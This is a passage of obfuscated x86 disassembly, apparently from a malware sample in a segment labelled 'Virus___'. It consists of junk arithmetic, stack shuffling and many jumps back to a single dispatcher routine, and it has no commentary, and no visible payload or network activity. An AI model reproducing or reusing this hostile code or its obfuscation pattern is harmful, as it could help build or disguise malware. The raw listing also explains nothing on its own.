dl jmp loc_577F94 ; --------------------------------------------------------------------------- loc_57A902: ; CODE XREF: Virus___:0057BC7Fj push edx mov edx, 11796105h sub [esp+4], edx jmp loc_57595D ; --------------------------------------------------------------------------- loc_57A911: ; CODE XREF: Virus___:0057BA53j push dword ptr [esp+4] mov edi, [esp] jmp loc_57B8AB ; --------------------------------------------------------------------------- loc_57A91D: ; CODE XREF: Virus___:0057CEA4j add ebx, 70927420h mov ebp, [esp] add esp, 4 jmp loc_5794F7 ; --------------------------------------------------------------------------- loc_57A931: ; CODE XREF: Virus___:005744E6j sub dword ptr [esp+4], 20F2068Dh add [esp+4], edx push ebx mov ebx, esp push eax mov eax, 59EF0104h add eax, 3B0D3C6Bh push eax jmp loc_57A4D6 ; --------------------------------------------------------------------------- loc_57A951: ; CODE XREF: Virus___:00573AF5j push esi mov esi, 72A90557h jmp loc_5752B1 ; --------------------------------------------------------------------------- loc_57A95C: ; CODE XREF: Virus___:00574E55j sub ax, dx add ax, 2993h add ax, 2C3Eh jmp loc_574FE1 ; --------------------------------------------------------------------------- loc_57A96C: ; CODE XREF: Virus___:005782FBj pop edx jmp loc_57C95A ; --------------------------------------------------------------------------- loc_57A972: ; CODE XREF: Virus___:00577EBBj mov esp, [esp] mov [esp], ecx push 24EF0CEDh pop ecx xor eax, ecx pop ecx push ebp mov ebp, esp push ebx mov ebx, 1498512Ch or ebx, 6A2419FAh xor ebx, 7EBC59FAh jmp loc_574C72 ; --------------------------------------------------------------------------- lodsw push 2792h mov [esp], edx jmp loc_5735DE ; --------------------------------------------------------------------------- loc_57A9AA: ; CODE XREF: Virus___:00574DD1j add eax, 4 jmp loc_5780F6 ; --------------------------------------------------------------------------- loc_57A9B4: ; CODE XREF: Virus___:0057EE75j add al, bl jmp loc_57CFEF ; --------------------------------------------------------------------------- loc_57A9BB: ; CODE XREF: Virus___:0057DB53j add eax, ebx pop ebx sub esp, 4 mov [esp], edx jmp loc_57DF33 ; --------------------------------------------------------------------------- loc_57A9C9: ; CODE XREF: Virus___:005742BFj pop esp mov cx, [esp] push 4F89h mov [esp], ebp push esp pop ebp push eax mov eax, 4DEB3F99h add eax, 5CD45803h shr eax, 3 sub eax, 1557F2EFh add ebp, eax pop eax push edi jmp loc_576FBE ; --------------------------------------------------------------------------- loc_57A9F4: ; CODE XREF: Virus___:00573CAEj add esi, edi pop edi sub esi, 4 xchg esi, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop ebp push edx mov edx, 5AB978A1h shr edx, 5 jmp loc_57CE28 ; --------------------------------------------------------------------------- mov cx, [esp] push 4B0Fh mov [esp], ecx mov ecx, esp push esi mov esi, 55E03155h push eax mov eax, 1EDA4E05h or esi, eax pop eax jmp loc_573135 ; --------------------------------------------------------------------------- loc_57AA3C: ; CODE XREF: Virus___:0057D982j xor dh, 75h xor dh, 99h sub bl, dh pop edx sub bl, 70h add bl, al push edx mov dl, 33h inc dl and dl, 6Eh shl dl, 5 jmp loc_57C793 ; --------------------------------------------------------------------------- loc_57AA5A: ; CODE XREF: Virus___:0057969Ej push eax mov ah, 0Eh xchg bh, ah dec bh jmp loc_57B29B ; --------------------------------------------------------------------------- loc_57AA66: ; CODE XREF: Virus___:0057BF4Bj add ebp, edi jmp loc_57E442 ; --------------------------------------------------------------------------- loc_57AA6D: ; CODE XREF: Virus___:0057997Aj mov ebp, 11EF172Eh xor ecx, ebp pop ebp push edi jmp loc_5746C4 ; --------------------------------------------------------------------------- loc_57AA7B: ; CODE XREF: Virus___:0057B4F4j sub esp, 4 jmp loc_5786F2 ; --------------------------------------------------------------------------- loc_57AA83: ; CODE XREF: Virus___:00573D91j xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_5749BA ; --------------------------------------------------------------------------- loc_57AA91: ; CODE XREF: Virus___:0057634Bj mov ebp, 36F94AE8h sub esp, 4 mov [esp], edx push 44A74FDDh mov edx, [esp] add esp, 4 add edx, 14050CC2h neg edx add edx, 22957E21h jmp loc_57E744 ; --------------------------------------------------------------------------- loc_57AAC0: ; CODE XREF: Virus___:00573E78j neg esi jmp loc_57CB85 ; --------------------------------------------------------------------------- loc_57AAC7: ; CODE XREF: Virus___:00578740j pop edi jmp loc_574E9D ; --------------------------------------------------------------------------- loc_57AACD: ; CODE XREF: Virus___:0057CAFBj push dword ptr [esp] jmp loc_574795 ; --------------------------------------------------------------------------- loc_57AAD5: ; CODE XREF: Virus___:0057893Cj pop ebx mov dh, cl pop ecx jmp loc_572FDA ; --------------------------------------------------------------------------- loc_57AADE: ; CODE XREF: Virus___:00574790j xor al, bh jmp loc_57E685 ; --------------------------------------------------------------------------- loc_57AAE5: ; CODE XREF: Virus___:0057D648j sub edx, ebx jmp loc_57C8EB ; --------------------------------------------------------------------------- loc_57AAEC: ; CODE XREF: Virus___:00577451j shl ecx, 4 inc ecx push 242Ah jmp loc_576F7B ; --------------------------------------------------------------------------- loc_57AAFA: ; CODE XREF: Virus___:00577BFDj mov [esp], ebp mov ebp, 3CC26ED3h jmp loc_579B6A ; --------------------------------------------------------------------------- loc_57AB07: ; CODE XREF: Virus___:0057D2D5j mov esp, [esp] mov [esp], ebx push 0FEh mov ebx, [esp] add esp, 4 jmp loc_57373D ; --------------------------------------------------------------------------- loc_57AB1D: ; CODE XREF: Virus___:00573DA3j push 0 jmp loc_572B56 ; --------------------------------------------------------------------------- loc_57AB27: ; CODE XREF: Virus___:00575A37j mov edx, 3C452DDDh or eax, edx pop edx and eax, 6D132366h push ecx mov ecx, 5ADB4CADh xor eax, ecx jmp loc_573968 ; --------------------------------------------------------------------------- mov ax, [esp] push ebp push esp pop ebp push eax mov eax, 43F36D01h push ebx mov ebx, 48967E93h sub ebx, 44750CAFh xor ebx, 3BB061BEh sub ebx, 2A09A024h xor eax, ebx pop ebx sub eax, 56741D33h jmp loc_57B520 ; --------------------------------------------------------------------------- loc_57AB73: ; CODE XREF: Virus___:0057CF13j add esp, 4 jmp loc_579FD4 ; --------------------------------------------------------------------------- loc_57AB7B: ; CODE XREF: Virus___:0057A676j add ebx, 50991256h jmp loc_57E14D ; --------------------------------------------------------------------------- loc_57AB86: ; CODE XREF: Virus___:0057D1BBj add edi, ecx pop ecx jmp loc_5736A3 ; --------------------------------------------------------------------------- loc_57AB8E: ; CODE XREF: Virus___:0057DC91j sub esi, ecx jmp loc_573B3B ; --------------------------------------------------------------------------- loc_57AB95: ; CODE XREF: Virus___:0057DEABj mov ecx, [esp] add esp, 4 add bl, 0A6h movzx eax, al push dword ptr [edi+eax*4] jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57ABAC: ; CODE XREF: Virus___:00578F7Fj add eax, 39F0C4Eh pop ebp pop edi shl eax, cl push ebx jmp loc_57495A ; --------------------------------------------------------------------------- loc_57ABBB: ; CODE XREF: Virus___:0057BBBAj add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] bswap eax jmp loc_57408F ; --------------------------------------------------------------------------- loc_57ABD1: ; CODE XREF: Virus___:00577AABj add ecx, 0FFFFFFFFh sub ecx, 1024B001h jmp loc_5772CE ; --------------------------------------------------------------------------- loc_57ABDF: ; CODE XREF: Virus___:00579D07j push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] push ecx push 1D33h mov [esp], ebx jmp loc_57615E ; --------------------------------------------------------------------------- loc_57ABF8: ; CODE XREF: Virus___:00573C36j pop esp mov [esp], ax jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57AC02: ; CODE XREF: Virus___:00578093j and [esp], al pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57AC0B: ; CODE XREF: Virus___:0057DD18j sub ebx, eax pop eax add esi, ebx jmp loc_577852 ; --------------------------------------------------------------------------- lodsd push edx jmp loc_573B5F ; --------------------------------------------------------------------------- loc_57AC1C: ; CODE XREF: Virus___:0057CD7Cj push ebx mov ebx, 3BCF3A24h jmp loc_57E78E ; --------------------------------------------------------------------------- loc_57AC27: ; CODE XREF: Virus___:00577FD2j neg ecx shr ecx, 3 neg ecx push 764h mov [esp], eax mov eax, 58478E11h jmp loc_57A5E4 ; --------------------------------------------------------------------------- loc_57AC40: ; CODE XREF: Virus___:0057DB5Aj add eax, 25DB8732h sub ecx, eax pop eax jmp loc_576BA6 ; --------------------------------------------------------------------------- loc_57AC4D: ; CODE XREF: Virus___:00572F60j add dl, bh mov ebx, [esp] add esp, 4 push ecx mov cl, 40h neg cl add cl, 8Ch jmp loc_57BB0A ; --------------------------------------------------------------------------- loc_57AC62: ; CODE XREF: Virus___:0057D625j or ebx, 44346452h xor ebx, 2CE723A2h and ebx, 5D8C7B47h shl ebx, 3 sub ebx, 2C6D781Eh xor ebx, 5BD55A0Eh sub esi, 7CAE37BCh add esi, ebx add esi, 7CAE37BCh pop ebx sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx push esp mov edx, [esp] jmp loc_576E86 ; --------------------------------------------------------------------------- loc_57ACA5: ; CODE XREF: Virus___:0057C4E9j push ebx mov ebx, esp add ebx, 4 push ecx mov ecx, 4 jmp loc_57DF00 ; --------------------------------------------------------------------------- loc_57ACB9: ; CODE XREF: Virus___:0057D514j sub esi, 71E152C0h xor esi, 0B15F11D5h jmp loc_579A2A ; --------------------------------------------------------------------------- loc_57ACCA: ; CODE XREF: Virus___:00579A3Ej push 2ABAh jmp loc_575459 ; --------------------------------------------------------------------------- loc_57ACD4: ; CODE XREF: Virus___:0057DF92j shr ebx, 5 shr ebx, 5 and ebx, 7E5B0E6Fh jmp loc_57D15A ; --------------------------------------------------------------------------- loc_57ACE5: ; CODE XREF: Virus___:00573738j mov esp, [esp] imul ecx push 7D5Ch mov [esp], edx push eax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57ACF9: ; CODE XREF: Virus___:0057CCC0j xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_57D325 ; --------------------------------------------------------------------------- push 765Ch mov [esp], ecx push ebp mov ebp, 3Ch mov ecx, ebp pop ebp add ecx, edi push dword ptr [ecx] jmp loc_57ECA8 ; --------------------------------------------------------------------------- loc_57AD21: ; CODE XREF: Virus___:0057E3DFj add ebx, ecx pop ecx sub ebx, 32615DD5h add ebx, edi add ebx, 32615DD5h sub ebx, 450C3AD0h mov edi, [esp] add esp, 4 add ebx, 392741A1h sub ebx, 68063354h jmp loc_576534 ; --------------------------------------------------------------------------- loc_57AD4F: ; CODE XREF: Virus___:00576863j pop esi add esi, 6F84C4D7h mov ebx, esi jmp loc_574A1A ; --------------------------------------------------------------------------- loc_57AD5D: ; CODE XREF: Virus___:00573887j sub esp, 4 jmp loc_5736D5 ; --------------------------------------------------------------------------- loc_57AD65: ; CODE XREF: Virus___:0057BE1Bj jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57AD6A: ; CODE XREF: Virus___:00579055j add esp, 4 shl ecx, 1 sub ecx, 1 neg ecx add ecx, 57E14771h mov eax, ecx jmp loc_5758DC ; --------------------------------------------------------------------------- mov sp, [esp] jmp loc_57E900 ; --------------------------------------------------------------------------- loc_57AD8D: ; CODE XREF: Virus___:00573E5Dj push 2093h mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] dec word ptr [esp] pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- mov ax, [esp] push esi push 5CEDh mov [esp], edi mov edi, esp push ebp mov ebp, 29263DAFh not ebp add ebp, 75D002C6h push edx mov edx, 0FFFFFFFFh jmp loc_57D98D ; --------------------------------------------------------------------------- mov ax, [esp] push 9Ah mov [esp], ebx jmp loc_578430 ; --------------------------------------------------------------------------- loc_57ADE3: ; CODE XREF: Virus___:0057C738j pop ecx add esp, 4 add [esp+4], ecx jmp loc_575D8B ; --------------------------------------------------------------------------- loc_57ADF3: ; CODE XREF: Virus___:0057B662j dec edi add edi, 5C6226DFh mov ebp, edi pop edi sub [esp+4], ebp mov ebp, [esp] add esp, 4 pop ebx push eax jmp loc_57E520 ; --------------------------------------------------------------------------- loc_57AE0E: ; CODE XREF: Virus___:0057529Aj add edx, 202B0306h sub eax, edx pop edx push edx push 453Bh jmp loc_574811 ; --------------------------------------------------------------------------- loc_57AE22: ; CODE XREF: Virus___:0057A62Fj jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57AE27: ; CODE XREF: Virus___:0057D455j or ebp, 77CB7922h and ebp, 1B39444Ch push edx mov edx, 0EFCA6CAh sub ebp, 361B56F8h sub ebp, edx add ebp, 361B56F8h pop edx xor eax, ebp push dword ptr [esp] pop ebp push edx push esp pop edx jmp loc_5732B6 ; --------------------------------------------------------------------------- loc_57AE56: ; CODE XREF: Virus___:0057DE33j mov ebp, [esp] jmp loc_57B3F9 ; --------------------------------------------------------------------------- loc_57AE5E: ; CODE XREF: Virus___:0057A56Cj mov edx, 7D866FA1h sub ecx, edx jmp loc_57BD13 ; --------------------------------------------------------------------------- loc_57AE6A: ; CODE XREF: Virus___:00572B45j push eax mov eax, 1163D24h add eax, 1 shl eax, 2 and eax, 2E9B5B47h xor eax, 4FFF137Ah xor eax, 4BE7437Ah sub ecx, 4E2729CEh add ecx, eax add ecx, 4E2729CEh pop eax push esi jmp loc_5799AC ; --------------------------------------------------------------------------- loc_57AE9C: ; CODE XREF: Virus___:00573F55j mov edi, [esp] add esp, 4 jmp loc_57CE07 ; --------------------------------------------------------------------------- loc_57AEA7: ; CODE XREF: Virus___:00579309j xor ebp, 693E7B7Eh neg ebp inc ebp jmp loc_57AEE8 ; --------------------------------------------------------------------------- loc_57AEB5: ; CODE XREF: Virus___:0057632Dj and eax, edi pop edi shr eax, 12h xor eax, ecx sub esp, 4 mov [esp], eax push esi push dword ptr [esp+4] push dword ptr [esp] mov esi, [esp] add esp, 4 push ebp mov ebp, esp add ebp, 4 push edx mov edx, 3F7F4988h jmp loc_576385 ; --------------------------------------------------------------------------- loc_57AEE8: ; CODE XREF: Virus___:0057AEB0j push edx jmp loc_576467 ; --------------------------------------------------------------------------- loc_57AEEE: ; CODE XREF: Virus___:0057EAC5j push 24h mov eax, [esp] push 6142h mov [esp], esi mov esi, esp add esi, 4 jmp loc_574D4A ; --------------------------------------------------------------------------- loc_57AF0B: ; CODE XREF: Virus___:0057DFF9j add [esp+4], eax pop eax push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push 7144h mov [esp], ebp push 10h jmp loc_575443 ; --------------------------------------------------------------------------- loc_57AF31: ; CODE XREF: Virus___:0057A72Fj sub ebx, edi pop edi push ebp mov ebp, 649C2A73h and ebp, 245262FFh add ebp, 68D95DD3h xor ebp, 0A6AE81CBh sub ebx, ebp jmp loc_579DD2 ; --------------------------------------------------------------------------- loc_57AF53: ; CODE XREF: Virus___:00575E6Ej mov edi, 41732B2Ch shl edi, 6 add edi, 0E58C7EFAh xor esi, edi pop edi sub esi, 0B6DD07BEh jmp loc_573D82 ; --------------------------------------------------------------------------- loc_57AF6F: ; CODE XREF: Virus___:0057BA4Bj pop edx add esp, 4 push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx push ebp jmp loc_57379C ; --------------------------------------------------------------------------- loc_57AF8F: ; CODE XREF: Virus___:00577221j mov ebp, 2 add edi, 39C66182h add edi, ebp push eax mov eax, 39C66182h sub edi, eax pop eax mov ebp, [esp] add esp, 4 xchg edi, [esp] mov esp, [esp] jmp loc_57537C ; --------------------------------------------------------------------------- lodsd push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_57E608 ; --------------------------------------------------------------------------- loc_57AFD1: ; CODE XREF: Virus___:0057A8B1j sub cl, ah pop eax sub cl, 6Fh xor cl, 6 push edx mov dh, 0A3h add cl, dh jmp loc_57B551 ; --------------------------------------------------------------------------- loc_57AFE4: ; CODE XREF: Virus___:0057CA2Dj add edx, 2F5C53C6h push dword ptr [esp] pop esi add esp, 4 add edx, 4 xchg edx, [esp] pop esp push ecx jmp loc_5743F4 ; --------------------------------------------------------------------------- loc_57B001: ; CODE XREF: Virus___:0057A82Aj and eax, edi push dword ptr [esp] pop edi sub esp, 4 mov [esp], edx push esp pop edx jmp loc_578A27 ; --------------------------------------------------------------------------- loc_57B017: ; CODE XREF: Virus___:0057CC64j push esi jmp loc_57500E ; --------------------------------------------------------------------------- loc_57B01D: ; CODE XREF: Virus___:005743CFj add esi, 0DD45C321h add eax, esi pop esi jmp loc_576ECF ; --------------------------------------------------------------------------- loc_57B02B: ; CODE XREF: Virus___:00572DB1j pop esp mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 add esi, 2 jmp loc_57D16A ; --------------------------------------------------------------------------- loc_57B048: ; CODE XREF: Virus___:00575F47j add esi, edi pop edi jmp loc_573108 ; --------------------------------------------------------------------------- loc_57B050: ; CODE XREF: Virus___:005766C6j sub esp, 4 mov [esp], ecx push dword ptr [esp+4] jmp loc_57C234 ; --------------------------------------------------------------------------- loc_57B05F: ; CODE XREF: Virus___:0057BEC6j pop ecx sub edx, ebp push dword ptr [esp] pop ebp jmp loc_57618D ; --------------------------------------------------------------------------- loc_57B06B: ; CODE XREF: Virus___:00573648j pop eax xchg esi, [esp] pop esp sub ebx, 427E1C48h sub ebx, eax sub esp, 4 mov [esp], ebp mov ebp, 6294193Bh or ebp, 41C86BF1h jmp loc_57DDFB ; --------------------------------------------------------------------------- loc_57B08E: ; CODE XREF: Virus___:00574C9Fj add eax, ecx pop ecx not eax xor eax, 76AF29A1h add eax, 70362768h add eax, 0C4E793A9h add ecx, eax pop eax sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx mov ch, 0DCh push ebx mov bh, 53h dec bh xor bh, 30h xor bh, 0B5h add al, bh pop ebx push ecx mov cl, 0F6h jmp loc_57627F ; --------------------------------------------------------------------------- loc_57B0C7: ; CODE XREF: Virus___:005770B9j pop esp push esp pop dword ptr [esp] jmp loc_579610 ; --------------------------------------------------------------------------- loc_57B0D1: ; CODE XREF: Virus___:0057E401j add esp, 4 push edx mov edx, 3A587ABFh jmp loc_576324 ; --------------------------------------------------------------------------- loc_57B0E2: ; CODE XREF: Virus___:0057A73Dj mov ebx, [esp] add esp, 4 add esi, eax sub esi, 7389388Ah add esi, 1BFC13F5h push 342D7299h mov ebx, [esp] push edi mov edi, esp push ebp mov ebp, 65A7CBEh neg ebp shl ebp, 3 sub ebp, 0CD2C1A0Ch add edi, ebp pop ebp add edi, 4 xchg edi, [esp] mov esp, [esp] push 4242h mov [esp], esi jmp loc_57D6B9 ; --------------------------------------------------------------------------- loc_57B12B: ; CODE XREF: Virus___:00573D6Bj mov ebx, esp jmp loc_573EF4 ; --------------------------------------------------------------------------- loc_57B132: ; CODE XREF: Virus___:0057B18Fj push edx sub dword ptr [esp], 7E717025h pop eax jmp loc_578A12 ; --------------------------------------------------------------------------- loc_57B140: ; CODE XREF: Virus___:0057F021j add edi, 0AE07D01h inc edi or edi, 633092Ch sub edi, 0E7B0D2Ah jmp loc_5762EF ; --------------------------------------------------------------------------- loc_57B158: ; CODE XREF: Virus___:0057E57Ej push ebx mov ebx, esp push esi mov esi, 4 jmp loc_574D25 ; --------------------------------------------------------------------------- loc_57B166: ; CODE XREF: Virus___:00573BC6j push dx push ecx sub esp, 4 mov [esp], esi jmp loc_57A264 ; --------------------------------------------------------------------------- mov eax, [esp] sub esp, 4 jmp loc_57E448 ; --------------------------------------------------------------------------- loc_57B182: ; CODE XREF: Virus___:0057EB39j push eax push edx mov edx, 24724F3Ch sub edx, 24724F38h jmp loc_57B132 ; --------------------------------------------------------------------------- loc_57B194: ; CODE XREF: Virus___:00574882j push edx mov edx, esp push ecx mov ecx, 4 add edx, ecx jmp loc_575737 ; --------------------------------------------------------------------------- loc_57B1A4: ; CODE XREF: Virus___:00578DA7j pop ebp push edi push esi jmp loc_577B18 ; --------------------------------------------------------------------------- loc_57B1AC: ; CODE XREF: Virus___:0057327Fj push 2227h mov [esp], esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57B1D0: ; CODE XREF: Virus___:00575D94j jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57B1D5: ; CODE XREF: Virus___:00573314j sub ebx, 30C30785h dec ebx neg ebx xchg ebp, ebx jmp loc_57E930 ; --------------------------------------------------------------------------- loc_57B1E5: ; CODE XREF: Virus___:00574C1Cj sub [esp], cl mov cl, [esp] add esp, 2 sub cl, 0FEh add al, cl pop ecx sub al, bl sub al, 0CCh push edx mov dh, 17h push ebx jmp loc_57DE40 ; --------------------------------------------------------------------------- loc_57B201: ; CODE XREF: Virus___:00575CE7j xor edi, 4FB66BA9h and eax, edi jmp loc_57B240 ; --------------------------------------------------------------------------- loc_57B20E: ; CODE XREF: Virus___:0057CE5Cj push 4FEDh mov [esp], eax mov eax, esp add eax, 4 jmp loc_5742CF ; --------------------------------------------------------------------------- loc_57B222: ; CODE XREF: Virus___:005784C0j mov eax, 0E21AA92Dh xor eax, edi pop edi sub eax, ebx pop ebx add ebp, 719938B7h sub ebp, eax sub ebp, 719938B7h jmp loc_5760E9 ; --------------------------------------------------------------------------- loc_57B240: ; CODE XREF: Virus___:0057B209j mov edi, [esp] add esp, 4 jmp loc_57A78F ; --------------------------------------------------------------------------- loc_57B24B: ; CODE XREF: Virus___:0057D9D0j mov [esp], esi push 16C5h mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] add esp, 4 add esi, 4 push ecx mov ecx, 2 add esi, 58242295h jmp loc_574B1D ; --------------------------------------------------------------------------- loc_57B27D: ; CODE XREF: Virus___:0057D429j sub esp, 4 mov [esp], ebx push edi mov edi, 609A7295h mov ebx, 8737DD05h add ebx, 35AD4851h sub ebx, edi jmp loc_57D92D ; --------------------------------------------------------------------------- loc_57B29B: ; CODE XREF: Virus___:0057AA61j xchg bh, ah sub ah, 1Ah jmp loc_5740F1 ; --------------------------------------------------------------------------- loc_57B2A5: ; CODE XREF: Virus___:0057DD20j add esp, 4 pop dword ptr [esp] mov esp, [esp] mov fs:[edx], ax jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57B2B7: ; CODE XREF: Virus___:0057A498j add ah, 43h jmp loc_577215 ; --------------------------------------------------------------------------- loc_57B2BF: ; CODE XREF: Virus___:0057D62Ej pop edx push edx mov dh, 3Eh add al, dh jmp loc_57DEC1 ; --------------------------------------------------------------------------- loc_57B2CA: ; CODE XREF: Virus___:00578B64j pop ebx add edx, 4 jmp loc_57DAE7 ; --------------------------------------------------------------------------- loc_57B2D6: ; CODE XREF: Virus___:0057A4C8j add esp, 4 pop ebx add bl, dh jmp loc_573FA7 ; --------------------------------------------------------------------------- loc_57B2E1: ; CODE XREF: Virus___:0057A3E4j pop ecx push ax mov al, 8 jmp loc_57414A ; --------------------------------------------------------------------------- loc_57B2EB: ; CODE XREF: Virus___:0057A20Fj push esi jmp loc_577EEB ; --------------------------------------------------------------------------- loc_57B2F1: ; CODE XREF: Virus___:0057630Aj neg edi xor edi, 6E92120h add eax, 245CC3h add eax, edi sub eax, 245CC3h pop edi add edi, eax jmp loc_573996 ; --------------------------------------------------------------------------- loc_57B30D: ; CODE XREF: Virus___:00576DDEj pop eax xor esi, 2E3319EDh xchg ebp, esi not ebp xchg ebp, esi jmp loc_576C08 ; --------------------------------------------------------------------------- loc_57B31F: ; CODE XREF: Virus___:0057B880j mov cl, 35h inc cl sub cl, 1Eh sub cl, 0FFh add cl, 0FFh push cx xchg cl, [esp] push edx mov dh, cl push ebx mov bh, dh xor bh, ch xor ch, bh xor bh, ch not ch xchg ch, bh jmp loc_573CD2 ; --------------------------------------------------------------------------- loc_57B346: ; CODE XREF: Virus___:00576E77j push ebp push ecx push 62122431h jmp loc_57891E ; --------------------------------------------------------------------------- loc_57B352: ; CODE XREF: Virus___:00572CEDj push edi push dword ptr [esp+4] pop edi jmp loc_576C4B ; --------------------------------------------------------------------------- loc_57B35D: ; CODE XREF: Virus___:005730A6j pop eax add eax, 11F77B0Bh jmp loc_5747DE ; --------------------------------------------------------------------------- loc_57B368: ; CODE XREF: Virus___:0057BDE9j pop edx xchg ebp, [esp] mov esp, [esp] bt [esp], ax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57B37A: ; CODE XREF: Virus___:00574145j mov dh, 1Fh sub dh, al jmp loc_575F8F ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_57CC69 ; --------------------------------------------------------------------------- loc_57B391: ; CODE XREF: Virus___:0057CB4Dj push 3E34h mov [esp], ebp push 4C67h mov [esp], ecx mov ecx, 75FF3AAEh jmp loc_575071 ; --------------------------------------------------------------------------- loc_57B3AB: ; CODE XREF: Virus___:005732D8j mov edx, eax mov ebp, edx jmp loc_5774F4 ; --------------------------------------------------------------------------- loc_57B3B4: ; CODE XREF: Virus___:00577792j mov edx, 12C653CCh dec edx add edx, 592E9725h xor eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_5743DF ; --------------------------------------------------------------------------- loc_57B3D0: ; CODE XREF: Virus___:005744A1j mov edx, esp push ecx push eax mov eax, 4 mov ecx, eax pop eax add edx, ecx pop ecx push ebx jmp loc_57D5A3 ; --------------------------------------------------------------------------- loc_57B3E5: ; CODE XREF: Virus___:00574049j mov eax, 18BF1185h jmp loc_57DB58 ; --------------------------------------------------------------------------- push 5935h jmp loc_5787BC ; --------------------------------------------------------------------------- loc_57B3F9: ; CODE XREF: Virus___:0057AE59j push edi mov edi, esp add edi, 4 push ebx mov ebx, 4 jmp loc_57D1AD ; --------------------------------------------------------------------------- loc_57B40D: ; CODE XREF: Virus___:0057A646j mov esi, 7B743B32h jmp loc_576EF1 ; --------------------------------------------------------------------------- loc_57B417: ; CODE XREF: Virus___:005787D7j xchg edi, [esp] pop esp jmp loc_57E066 ; --------------------------------------------------------------------------- loc_57B420: ; CODE XREF: Virus___:0057A1A0j jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57B425: ; CODE XREF: Virus___:00574497j push dword ptr [esp] pop edi add esp, 4 add ebx, 1DDB2632h push 2C66h mov [esp], edi push ecx mov ecx, 38220B65h mov edi, 29C00B63h jmp loc_572C0C ; --------------------------------------------------------------------------- loc_57B44D: ; CODE XREF: Virus___:005764D2j add al, cl mov ecx, [esp] jmp loc_57C115 ; --------------------------------------------------------------------------- loc_57B457: ; CODE XREF: Virus___:00576199j sub edx, eax sub edx, 77964C6Fh add edx, 4CCE5723h jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57B46A: ; CODE XREF: Virus___:0057A013j sub ebp, 5D590C3Dh jmp loc_57721D ; --------------------------------------------------------------------------- loc_57B475: ; CODE XREF: Virus___:0057B71Cj mov esi, [esp] add esp, 4 movzx eax, al push dword ptr [edi+eax*4] push edx mov edx, 422521F7h xchg esi, edx jmp loc_57C1E8 ; --------------------------------------------------------------------------- loc_57B491: ; CODE XREF: Virus___:005731EFj or edx, 5D8969C4h sub edx, 6D5C4B05h jmp loc_57D055 ; --------------------------------------------------------------------------- loc_57B4A2: ; CODE XREF: Virus___:00578DC2j or esi, 1039253Eh jmp loc_57A07D ; --------------------------------------------------------------------------- loc_57B4AD: ; CODE XREF: Virus___:0057B8A0j mov ecx, ebp pop ebp jmp loc_578297 ; --------------------------------------------------------------------------- loc_57B4B5: ; CODE XREF: Virus___:005785B6j add esi, 7C41D11h push eax mov eax, 1D2E648Bh push edx jmp loc_5762FD ; --------------------------------------------------------------------------- loc_57B4C7: ; CODE XREF: Virus___:0057D320j mov edi, esp push ebx mov ebx, 4 add edi, ebx pop ebx sub edi, 4 sub esp, 4 mov [esp], edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], ebp mov ebp, 1CFA4253h jmp loc_57AA7B ; --------------------------------------------------------------------------- loc_57B4F9: ; CODE XREF: Virus___:0057EBE9j add esp, 4 push esi jmp loc_57DC0D ; --------------------------------------------------------------------------- loc_57B502: ; CODE XREF: Virus___:0057DAEDj xor edx, [esp] pop esp bt [esp], eax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57B510: ; CODE XREF: Virus___:00576054j add edi, ebx pop ebx add edi, ebp sub edi, 1A0B54D5h jmp loc_575F16 ; --------------------------------------------------------------------------- loc_57B520: ; CODE XREF: Virus___:0057AB6Ej add ebp, 3D1F5A00h add ebp, eax jmp loc_5749C0 ; --------------------------------------------------------------------------- loc_57B52D: ; CODE XREF: Virus___:00572EDFj pop esp jmp loc_57CD0A ; --------------------------------------------------------------------------- loc_57B533: ; CODE XREF: Virus___:0057E47Dj add ebp, 36A91DF1h sub esp, 4 jmp loc_575CEC ; --------------------------------------------------------------------------- loc_57B541: ; CODE XREF: Virus___:00577F74j xor bh, 53h add ch, bh pop ebx jmp loc_57964B ; --------------------------------------------------------------------------- loc_57B54C: ; CODE XREF: Virus___:0057DB6Cj jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57B551: ; CODE XREF: Virus___:0057AFDFj pop edx sub al, 0B6h sub al, cl add al, 0B6h pop ecx push 5439h mov [esp], ecx mov ch, 0BBh sub ch, 1 push eax push edx mov dl, 0E2h mov ah, 8Ah add ah, dl pop edx push ecx jmp loc_5748F9 ; --------------------------------------------------------------------------- loc_57B575: ; CODE XREF: Virus___:0057D05Bj or eax, edx pop edx jmp loc_5795BD ; --------------------------------------------------------------------------- loc_57B57D: ; CODE XREF: Virus___:00572B6Fj xchg esi, [esp] jmp loc_578F5A ; --------------------------------------------------------------------------- loc_57B585: ; CODE XREF: Virus___:00574C6Dj add esp, 4 add ebx, 2 jmp loc_57C1D7 ; --------------------------------------------------------------------------- loc_57B596: 